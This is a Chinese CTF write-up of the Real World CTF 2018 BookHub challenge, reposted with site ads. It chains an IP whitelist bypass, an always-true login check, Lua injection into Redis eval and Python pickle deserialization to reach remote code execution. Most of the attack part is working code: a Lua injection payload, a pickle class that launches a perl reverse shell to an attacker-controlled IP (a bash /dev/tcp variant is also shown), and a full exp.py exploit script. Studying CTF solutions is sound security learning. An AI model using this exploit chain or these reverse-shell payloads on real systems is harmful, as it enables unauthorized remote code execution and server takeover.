BookHub Writeup - Real World CTF 2018

栏目: Lua · 发布时间: 5年前

内容简介:How to pwn bookhub?http://52.52.4.252:8080/hint: www.zip

Detail

How to pwn bookhub?

http://52.52.4.252:8080/

hint: www.zip

Writeup

0x01 Bypass IP

太垃圾了了,一开始掉进了XFF的坑里

BookHub Writeup - Real World CTF 2018

./bookhub/forms.py

```python

class LoginForm(FlaskForm):

username = StringField('username', validators=[DataRequired()])

password = PasswordField('password', validators=[DataRequired()])

remember me = BooleanField('remember me', default=False)

def validate_password(self, field):
    address = get_remote_addr()
    whitelist = os.environ.get('WHITELIST_IPADDRESS', '10.0.0.1')
**./bookhub/helper.py**
```python
def get_remote_addr():
    address = flask.request.headers.get(
        'X-Forwarded-For', flask.request.remote_addr)

    try:
        ipaddress.ip_address(address)
    except ValueError as e:
        op(e)
        return None
    else:
        return address

仔细看的时候才发现有个特殊的IP

BookHub Writeup - Real World CTF 2018

扫一波端口发现 5000 ,访问后是新大陆

BookHub Writeup - Real World CTF 2018

debug mode

BookHub Writeup - Real World CTF 2018

0x02 Login or Unauthorized Access

有一次掉进坑里,事实上,如图源码里的 migrations ,数据库里面根本没有用户,还zz地爆破弱口令

./bookhub/models/user.py

```python

class User(db.Model):

id = db.Column(db.Integer, primary_key=True)

username = db.Column(db.String(64), unique=True, nullable=False)

password = db.Column(db.String(128))

...

@property
def is_authenticated(self):
    return True
这个点是**flask_login**的点,`@login_required`判断的方法就是返回`is_authenticated`的值,也就是恒为真。

根本不需要登陆!!!

### 0x03 Redis & Lua Injection

**./bookhub/views/user.py**
```python
if app.debug:
    ...
    @login_required
    @user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
    def refresh_session():

        status = 'success'
        sessionid = flask.session.sid
        prefix = app.config['SESSION_KEY_PREFIX']

        if flask.request.form.get('submit', None) == '1':
            try:
                rds.eval(rf'''
                local function has_value (tab, val)
                    for index, value in ipairs(tab) do
                        if value == val then
                            return true
                        end
                    end
                    return false
                end

                local inputs = {{ "{prefix}{sessionid}" }}
                local sessions = redis.call("keys", "{prefix}*")
                
                for index, sid in ipairs(sessions) do
                    if not has_value(inputs, sid) then
                        redis.call("del", sid)
                    end
                end
                ''', 0)
            except redis.exceptions.ResponseError as e:
                print(e)
                app.logger.exception(e)
                status = 'fail'

        return flask.jsonify(dict(status=status))
  • sessionid = flask.session.sid
  • rds.eval(...)
  • local inputs = {{ "{prefix}{sessionid}" }}
  • Lua Script Inject & ByPass del

这一步就4个点, sessionid 可控,并注入到 Lua脚本redis.eval 执行,还得绕过 del

Test Pyaload :

lua

-- 闭合语句

local inputs = { "{prefix}" } 

-- urlDecode 处理不可见字符

local function urlDecode(s) 

    s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) 

    return s 

end

-- 写payload

redis.call("set","bookhub:session:sid",urlDecode("payload"))

-- 绕过del并注释后面的内容

inputs ={ "bookhub:session:sid" } -- " }

注入语句是没有换行的,当然 Lua 脚本的格式也和换行无关

Pyaload :

lua

" } local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end redis.call("set","bookhub:session:sid",urlDecode("payload")) inputs = { "bookhub:session:sid" } -- " }

其实一开始,没想到用 urlDecode ,Lua的十六进制用 \XX 而不是常见的 \xXX

BookHub Writeup - Real World CTF 2018

神一般的操作

0x04 flask_session Pickle & Rebound Shell

#flask_session/sessions.py

python

class RedisSessionInterface(SessionInterface):

    ...

    serializer = pickle

    ...

    def open_session(self, app, request):

        sid = request.cookies.get(app.session_cookie_name)

        ...

        val = self.redis.get(self.key_prefix + sid)

        if val is not None:

            try:

                data = self.serializer.loads(val)

                return self.session_class(data, sid=sid)

            except:

                return self.session_class(sid=sid, permanent=self.permanent)

        return self.session_class(sid=sid, permanent=self.permanent)

  • serializer = pickle
  • sid = request.cookies.get(app.session cookie name)
  • data = self.serializer.loads(val)

明显的Python pickle 反序列化漏洞

class exp(object):

    def __reduce__(self):
        s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
            listen_ip, listen_port)
        return (os.system, (s,))

服务器有毒,

s = """/bin/bash -i >& /dev/tcp/%s/%d 0>&1""" % (

            listen_ip, listen_port)
bash反弹 死活不成功

然后 perl 反弹成功了

BookHub Writeup - Real World CTF 2018

Flag : rwctf{fl45k 1s a MAg1cal fr4mew0rk_t0000000000}

exp.py

# -*- coding:utf-8 -*-
__AUTHOR__ = 'Virink'

import os
import sys
import re
import requests as req
from urllib.parse import quote as urlencode
try:
    import cPickle as pickle
except ImportError:
    import pickle

URL = "http://18.213.16.123:5000/"
listen_ip = 'your_vps_ip'
listen_port = 7979

class exp(object):

    def __reduce__(self):
        s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
            listen_ip, listen_port)
        return (os.system, (s,))

if __name__ == '__main__':
    payload = urlencode(pickle.dumps([exp()]))
    # 插入payload并防止del
    sid = '\\" } local function urlDecode(s) s=string.gsub(s,\'%%(%x%x)\',function(h) return string.char(tonumber(h, 16)) end) return s end ' + \
        'redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) inputs = { \"bookhub:session:qaq\" } --' % (
            payload)
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    # 注入payload
    headers["Cookie"] = 'bookhub-session="%s"' % sid
    res = req.get(URL + 'login/', headers=headers)
    if res.status_code == 200:
        r = re.findall(r'csrf_token" type="hidden" value="(.*?)">',
                       res.content.decode('utf-8'))
        if r:
            # refresh_session
            headers['X-CSRFToken'] = r[0]
            data = {'submit': '1'}
            res = req.post(URL + 'admin/system/refresh_session/',
                           data=data, headers=headers)
            if res.status_code == 200:
                # 触发RCE
                req.get(URL + 'login/',
                        headers={'Cookie': 'bookhub-session=qaq'})

感想

  1. 我还是太弱了
  2. 我真的还是太弱了
  3. 太弱了

Web狗->没活路的样子,得熟悉各种语言的特性

膜 PHITHON 神鬼莫测的出题思路

  1. XFF绕CDN 的坑
  2. Login代码 的坑
  3. Lua 的坑
  4. 反弹 shell 的坑

就让比赛主题 Real World ,很坑但很真实。

神如Ph牛挖坑,菜鸡如我爬坑!

转载声明

本文首发于先知社区: RWCTF2018 BookHub Writeup & 爬坑感悟


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

鸟哥的Linux私房菜

鸟哥的Linux私房菜

鸟哥 / 机械工业出版社 / 2008-1 / 88.00元

《鸟哥的Linux私房菜:服务器架设篇(第2版)》是对连续三年蝉联畅销书排行榜前10名的《Linux鸟哥私房菜一服务器架设篇》的升级版,新版本根据目前服务器与网络环境做了大幅度修订与改写。 全书共3部分,第1部分为架站前的进修专区,包括在架设服务器前必须具备的网络基础知识、Linux常用网络命令、Linux网络侦错步骤,以及服务器架站流程:第2部分为主机的简易防火措施,包括限制Linux对......一起来看看 《鸟哥的Linux私房菜》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具